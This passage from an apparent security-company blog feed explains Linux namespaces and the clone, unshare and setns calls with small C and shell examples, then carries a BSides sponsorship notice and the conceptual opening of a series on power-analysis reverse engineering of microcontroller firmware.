&lt;p>Consider the UTS namespace as an example: Every process in a &lt;em>single&lt;/em> UTS namespace shares the hostname with every other process in the same UTS namespace. Otherwise, the value of the hostname is isolated between different UTS namespaces. The code listing below illustrates this:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">root@box :~# hostname &lt;span style="color:#999;font-style:italic"># Get the hostname&lt;/span>
box
root@box :~# unshare -u &lt;span style="color:#999;font-style:italic"># Create a sub shell in a new UTS namespace&lt;/span>
$ hostname &lt;span style="color:#999;font-style:italic"># Get the hostname in the created UTS namespace&lt;/span>
box
$ hostname anotherbox &lt;span style="color:#999;font-style:italic"># Change the hostname in the UTS namespace&lt;/span>
$ hostname &lt;span style="color:#999;font-style:italic"># Verify that it has been changed&lt;/span>
anotherbox
$ &lt;span style="color:#24909d">exit&lt;/span> &lt;span style="color:#999;font-style:italic"># Exit the UTS namespace shell&lt;/span>
root@box :~# hostname &lt;span style="color:#999;font-style:italic"># Verify that the real hostname of the parent UTS namespace hasn&amp;#39;t changed&lt;/span>
box
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Namespaces can also be used in combination by making a process a member of multiple new namespaces at once. This is useful for containerization where multiple resources have to be isolated at once.&lt;/p>
&lt;p>It&amp;rsquo;s important to note that by default every process is a member of a namespace of each type listed above. These namespaces are called &lt;code>default&lt;/code>, &lt;code>init&lt;/code> or &lt;code>root&lt;/code> namespaces. In case no additional namespace configuration is in place, processes and all their direct children will reside in this exact namespace. This can be verified by executing &lt;code>lsns&lt;/code> to list all namespaces in two different terminals and comparing the namespace identifiers which will be equal.&lt;/p>
&lt;p>The isolation provided by namespaces is highly configurable and flexible. For instance, it&amp;rsquo;s possible for a database application and a web application to share the same network namespace, allowing both processes to communicate while other processes that reside in other network namespaces are not able to do so.&lt;/p>
&lt;h2 id="system-calls">System Calls&lt;/h2>
&lt;p>Three system calls are commonly being used in conjunction with namespaces:&lt;/p>
&lt;ul>
&lt;li>&lt;code>clone&lt;/code>: Create child processes&lt;/li>
&lt;li>&lt;code>unshare&lt;/code>: This disables sharing a namespace with the parent process, effectively &lt;em>unsharing&lt;/em> a namespace and its associated resources. Please note that this system call changes the shared namespaces in-place without the requirement of spawning a new process &amp;ndash; with the PID namespace being an exception in this case as discussed in one of the next blog posts.&lt;/li>
&lt;li>&lt;code>setns&lt;/code>: Attaches a process to an already existing namespace.&lt;/li>
&lt;/ul>
&lt;p>Similar to the &lt;code>fork&lt;/code> system call, &lt;code>clone&lt;/code> is used to create child processes. There are multiple differences between the two calls: The most significant difference is that &lt;code>clone&lt;/code> can be highly parametrized using flags. For example, it allows sharing the execution context, for instance the process memory space, with a child process. Therefore &lt;code>clone&lt;/code> can also create threads and is more versatile than the legacy &lt;code>fork&lt;/code> call. The &lt;code>fork&lt;/code> call does not support most of this behavior. Instead, &lt;code>fork&lt;/code> is essentially being used to create child processes as copies of a parent process. Before going into more detail about the differences and similarities it&amp;rsquo;s first important to understand what&amp;rsquo;s happening when &lt;code>fork&lt;/code>, &lt;code>clone&lt;/code> or a system call in general is being invoked in a C program.&lt;/p>
&lt;h3 id="fork--fork">fork() != fork&lt;/h3>
&lt;p>By using one of these two calls in C code the actual code that will be executed is &lt;em>not&lt;/em> the system call itself as defined in the system call table. The code that will be called instead is a wrapper around the actual system call of the C library which is often named after the wrapped system call. These wrappers exist because using them is more convenient for developers than using system calls directly. For instance, to use a system call it&amp;rsquo;s necessary to setup registers, switch to kernel mode, handle the call results and switch back the user mode [1]. This can be simplified for by implementing a wrapper and doing these tasks in the wrapper&amp;rsquo;s code.&lt;/p>
&lt;p>When inspecting the &lt;code>fork&lt;/code> wrapper function it becomes clear that the actual &lt;code>fork&lt;/code> system call that&amp;rsquo;s supposed to be wrapped is not being used it all. Instead, the &lt;code>ARCH_FORK&lt;/code> macro gets called which is an inline system call to &lt;code>clone&lt;/code> defined as:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#cd2828;font-weight:bold">#define ARCH_FORK() \
&lt;/span>&lt;span style="color:#cd2828;font-weight:bold"> INLINE_SYSCALL (clone, 4, \
&lt;/span>&lt;span style="color:#cd2828;font-weight:bold"> CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD, 0, \
&lt;/span>&lt;span style="color:#cd2828;font-weight:bold"> NULL, &amp;amp;THREAD_SELF-&amp;gt;tid)
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This results in the &lt;code>clone&lt;/code> and &lt;code>fork&lt;/code> library functions calling the same system call, namely &lt;code>clone&lt;/code>. This can be verified by compiling a C application containing a call to &lt;code>fork&lt;/code> and using &lt;code>strace&lt;/code> to trace the resulting system calls when executing the resulting binary: No calls to &lt;code>fork&lt;/code> are present, only a call to &lt;code>clone&lt;/code> with the &lt;code>SIGCHILD&lt;/code> flag. This ultimately implements the legacy &lt;code>fork&lt;/code> call with a call to &lt;code>clone&lt;/code>. The reason for that results in &lt;code>clone&lt;/code> being a more powerful and configurable call than &lt;code>fork&lt;/code>, making it possible to replace &lt;code>fork&lt;/code> entirely with &lt;code>clone&lt;/code> to spawn processes &lt;em>and&lt;/em> threads.&lt;/p>
&lt;h3 id="using-clone">Using clone()&lt;/h3>
&lt;p>The &lt;code>clone&lt;/code> system call accepts various flags to configure the process creation. For the usage of namespaces a subset of these flags can be used to specify the new namespaces a process will join. By default the child processes are being initialized with a modified copy of the parent&amp;rsquo;s namespace configuration when supplying such a flag. This takes the desired namespaces configuration into account and makes the child process a member of the new namespaces that are represented as flags. If a specific flag of a namespace type is &lt;em>not&lt;/em> specified, then the process is part of the parent&amp;rsquo;s namespace for this specific type, providing no additional level of isolation. Consider the UTS namespace example from above: The &lt;code>clone&lt;/code> flag responsible for the creation of such a namespace is &lt;code>NEW_UTS&lt;/code>.&lt;/p>
&lt;p>The &lt;code>clone&lt;/code> call has the following prototype, allowing to specify the flags described above:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> clone(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> (*child_func)(&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> *), &lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> *child_stack, &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> flags, &lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> *arg)
&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>child_func&lt;/code>: Function pointer to the function being executed by the child process.&lt;/li>
&lt;li>&lt;code>child_stack&lt;/code>: The downwardly growing stack the child will operate on.&lt;/li>
&lt;li>&lt;code>flags&lt;/code>: Integer value representing all used flags as configured using an OR-Conjunction of flags.&lt;/li>
&lt;li>&lt;code>arg&lt;/code>: Additional arguments&lt;/li>
&lt;/ul>
&lt;p>The following code snippet shows a minimal example of using &lt;code>clone&lt;/code> to spawn a shell process in a new UTS namespace. Please note that this minimal example does not provide includes, error handling and does not check return values.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#cd2828;font-weight:bold">#define STACKSIZE 8192
&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *childStack;
&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *childStackTop;
pid_t childPid;
&lt;span style="color:#999;font-style:italic">// Will be executed by the child process
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">run&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> *) {
system(&lt;span style="color:#ed9d13">&amp;#34;/bin/sh&amp;#34;&lt;/span>);
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> argc, &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> *argv[]) {
childStack = (&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *)malloc(STACKSIZE);
&lt;span style="color:#999;font-style:italic">// stack grows downward
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> childStackTop = childStack + STACKSIZE;
childPid = clone(run, childStackTop,
CLONE_VFORK | CLONE_NEWUTS, &lt;span style="color:#3677a9">0&lt;/span>);
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After compiling and running this example a shell in a new UTS namespace is being spawned.&lt;/p>
&lt;h3 id="unshare">unshare()&lt;/h3>
&lt;p>This system call allows processes to disable sharing namespaces &lt;em>after&lt;/em> they have been created. In contrast, &lt;code>clone&lt;/code> causes child processes to be moved to namespaces while creating them. There exists a CLI application available called &lt;code>unshare&lt;/code> that creates a new process` and unshares specific system resources, whereas using the system call in a C program isolates a process at runtime &lt;em>without&lt;/em> allocating a new process:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> argc, &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> *argv[]) {
unshare(CLONE_NEWUTS); &lt;span style="color:#999;font-style:italic">// No error handling
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// Print hostname
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> system(&lt;span style="color:#ed9d13">&amp;#34;hostname&amp;#34;&lt;/span>);
&lt;span style="color:#999;font-style:italic">// Set hostname
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> system(&lt;span style="color:#ed9d13">&amp;#34;hostname testname&amp;#34;&lt;/span>);
&lt;span style="color:#999;font-style:italic">// Print hostname again
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> system(&lt;span style="color:#ed9d13">&amp;#34;hostname&amp;#34;&lt;/span>);
&lt;span style="color:#999;font-style:italic">// Print the available namespaces
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> system(&lt;span style="color:#ed9d13">&amp;#34;lsns&amp;#34;&lt;/span>);
&lt;span style="color:#999;font-style:italic">// Spawn a shell
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> execvp(&lt;span style="color:#ed9d13">&amp;#34;/bin/sh&amp;#34;&lt;/span>, &lt;span style="color:#3677a9">0&lt;/span>);
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>When compiling and running the program a similar output to the following listing content can be observed:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">root@box:~# ./a.out
box
testname
[...]
NS TYPE NPROCS PID USER COMMAND
[...]
&lt;span style="color:#3677a9">4026531835&lt;/span> cgroup &lt;span style="color:#3677a9">336&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> root /sbin/init splash
&lt;span style="color:#3677a9">4026531836&lt;/span> pid &lt;span style="color:#3677a9">293&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> root /sbin/init splash
&lt;span style="color:#3677a9">4026531837&lt;/span> user &lt;span style="color:#3677a9">293&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> root /sbin/init splash
&lt;span style="color:#3677a9">4026531838&lt;/span> uts &lt;span style="color:#3677a9">333&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> root /sbin/init splash
&lt;span style="color:#3677a9">4026531839&lt;/span> ipc &lt;span style="color:#3677a9">336&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> root /sbin/init splash
&lt;span style="color:#3677a9">4026531840&lt;/span> mnt &lt;span style="color:#3677a9">326&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> root /sbin/init splash
&lt;span style="color:#3677a9">4026532009&lt;/span> net &lt;span style="color:#3677a9">292&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> root /sbin/init splash
[...]
&lt;span style="color:#3677a9">4026532436&lt;/span> uts &lt;span style="color:#3677a9">3&lt;/span> &lt;span style="color:#3677a9">27750&lt;/span> root ./a.out
[...]
root@box:~# lsns | grep uts
&lt;span style="color:#3677a9">4026531838&lt;/span> uts &lt;span style="color:#3677a9">134&lt;/span> &lt;span style="color:#3677a9">803&lt;/span> user /bin/sh
&lt;/code>&lt;/pre>&lt;/div>&lt;p>As seen above, the created process is able to set its own hostname, ultimately isolating the value of this setting in-place. Additionally, the spawned process is present in &lt;em>two&lt;/em> UTS namespaces. The parent process is only a member of one UTS namespace. According to the namespace IDs, one of these UTS namespaces is shared as it&amp;rsquo;s the default namespace of that type. The other namespace is the one that has been created using the &lt;code>unshare&lt;/code> call.&lt;/p>
&lt;p>The command &lt;code>lsns&lt;/code> gathers the displayed information by checking the contents of the &lt;code>/proc/&amp;lt;PID&amp;gt;/ns&lt;/code> directory for each PID. In the context of containers it should not be possible to get information on parent namespaces like it&amp;rsquo;s possible in this example. When creating a container, the &lt;code>/proc&lt;/code> directory or sensitive parts of it should therefore be isolated to prevent this information leak.&lt;/p>
&lt;h3 id="setns">setns()&lt;/h3>
&lt;p>To add processes to already existing namespaces, &lt;code>setns&lt;/code> is being utilized. It disassociates a process from its original namespace and associates it with another namespace of the same type. The prototype of this system call is as follows:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> setns(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> fd, &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> nstype)
&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>fd&lt;/code>: File descriptor of a symbolic link representing a specific namespace as represented in &lt;code>/proc/&amp;lt;PID&amp;gt;/ns&lt;/code>.&lt;/li>
&lt;li>&lt;code>nstype&lt;/code>: This parameter is designated for checks regarding the namespace type. By passing a &lt;code>CLONE_NEW*&lt;/code> flag, the namespace type of the first parameter is checked before entering the namespace. This makes sure that the passed file descriptor indeed points to the desired namespace type. To disable this check, a zero value can also be used for this parameter.&lt;/li>
&lt;/ul>
&lt;p>A simple example that invokes a command in a given namespace can be examined in the following code listing ([2] &amp;ndash; modified):&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">[...]
&lt;span style="color:#999;font-style:italic">// Get namespace file descriptor
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> fd = open(argv[&lt;span style="color:#3677a9">1&lt;/span>], O_RDONLY);
&lt;span style="color:#999;font-style:italic">// Join the namespace
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>setns(fd, &lt;span style="color:#3677a9">0&lt;/span>);
&lt;span style="color:#999;font-style:italic">// Execute a command in the namespace
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>execvp(argv[&lt;span style="color:#3677a9">2&lt;/span>], &amp;amp;argv[&lt;span style="color:#3677a9">2&lt;/span>]);
[...]
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The code above launches a child process that executes the specified command and resides in a different namespace as the parent.&lt;/p>
&lt;p>To perform this from a CLI the &lt;code>nsenter&lt;/code> application can be of use. Cosider a shell process residing in a separate UTS namespace: By executing &lt;code>nsenter -a -t 1&lt;/code> the process is being moved to all namespaces originating from the system initialization process with PID &lt;code>1&lt;/code>. This effectively reverts the call to &lt;code>unshare&lt;/code>, making the &lt;em>original&lt;/em> UTS namespace available to the shell process. Now changing the hostname from the shell process will affect the hostname of the default namespace and therefore the system&amp;rsquo;s hostname. As a result, it&amp;rsquo;s important to prevent these types of &lt;code>setns&lt;/code> calls by isolating the exposed namespaces. This illustrates that by using namespaces alone it may not be possible to prevent system modifications.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LWN:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Glibc&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">kernel&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">user-space&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/534682/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">API&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LWN:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">operation,&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespaces&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/531381/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">API&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://unsplash.com/photos/uBe2mknURG4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/uBe2mknURG4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>SCHUTZWERK IS SILVER SPONSOR OF ELBSIDES</title><link>https://www.schutzwerk.com/en/blog/sponsor-elbsides/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 05 Sep 2019 13:00:00 +0100</pubDate><category>event</category><category>sponsor</category><category>news</category><description>
&lt;p>The first BSides will take place in Hamburg on September 16, 2019. We are an official sponsor of this event.
After three successful years in Munich and since this year also in Stuttgart, the North of Germany finally won the BSides' heart! Under the title &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://elbsides.de"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Elbsides&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, all security interested people are invited who live especially in the North of the Elbe.&lt;/p>
&lt;p>The Security BSides is organized by experts of IT security to bring the IT security community together. Some of the members of the Meetup group HH.Security and the organizers of BSidesMunich stiffened Hamburg as a new location. SCHUTZWERK found its second site in Hamburg in 2017 and is very excited! Part of our Hamburg team will take part.&lt;/p>
&lt;p>Next to interesting lectures, there will be workshops as well on this one day event. We are looking happily forward to the exchange!&lt;/p></description></item><item><title>Power analysis based software reverse engineering assisted by fuzzing I</title><link>https://www.schutzwerk.com/en/blog/poweranalysis01/</link><author>Simon Diepold</author><pubDate>Mon, 26 Aug 2019 11:15:06 +0200</pubDate><category>embedded security</category><category>secforcars</category><category>power analysis</category><category>reverse engineering</category><category>fuzzing</category><category>attacks</category><description>
&lt;p>This is the first part of a three part series about power analysis based software reverse engineering.
It is part of our work in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.forschung-it-sicherheit-kommunikationssysteme.de/projekte/sicherheit-fuer-vernetzte-autonome-fahrzeuge"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
project and the bachelor thesis &amp;ldquo;Poweranalyse basiertes Software Reverse Engineering mit Hilfe von Fuzzing&amp;rdquo;. The results will be summarized in this blogpost series.
In this first part the goals of the research and the power analysis template extraction process are presented.&lt;/p>
&lt;p>The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released:&lt;/p>
&lt;ol>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">Goals&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">template&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">extraction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">process&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">Template&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">reverse&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">engineering&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Fuzzing based on reconstructed flow&lt;/li>
&lt;/ol>
&lt;h2 id="concept">Concept&lt;/h2>
&lt;p>Every modern dishwasher, car or fabrication machine contains at least one embedded microcontroller. Those controllers receive commands and data from sensors or other embedded systems
and also control electronic actuators. Due to intellectual property reasons or
to protect the functionality of the devices itself, the firmware running on embedded microcontrollers is in many cases not accessible (e.g. via the controllers debugging interface). This is an unfortunate situation for security research.
To bypass the security mechanisms of such embedded systems, and gain insight into the firmware, so called &amp;ldquo;side channel attacks&amp;rdquo; can be used. Side channel attacks use physical properties of a targeted system
to attack it.&lt;/p>
&lt;p>When it comes to microcontrollers, processor pipelines are much simpler than on regular computers. They execute instructions in the program given order,
in contradiction to super scalar desktop and server processors which can reschedule instructions for better utilization of their execution units.
When an instruction is executed on such a microcontroller, the power consumption can change during this execution depending on what kind of operations are performed and on which execution unit of the processor.
This can leave a characteristic pattern on the power trace of the microcontroller.
A recording of a characteristic power trace for a specific instruction is later referred as &amp;ldquo;template&amp;rdquo;.
Such a template can be correlated with any recorded power trace to detect when the corresponding instruction is executed.
With that information the program&amp;rsquo;s execution flow graph can be reconstructed. This graph can then be used to reassemble
parts of the executed program.&lt;/p>
&lt;p>Under normal circumstances the target processor can not be used to run test programs to record a template of a specific instruction, since the researcher has no access to the processor.
But if the templates of two processors of the same type are interchangeable the templates can be recorded on a separate microcontroller.
This leaves another problem: A software that mostly reacts to external inputs is idle most of the time. Even when, an input is triggered only a small part of the program
becomes active. To maximize the executed code a computer with a fuzzer that feeds a big variety of messages to the controller can be attached.&lt;/p>
&lt;p>This allows an attack of the following scenario:&lt;/p>
&lt;figure
>
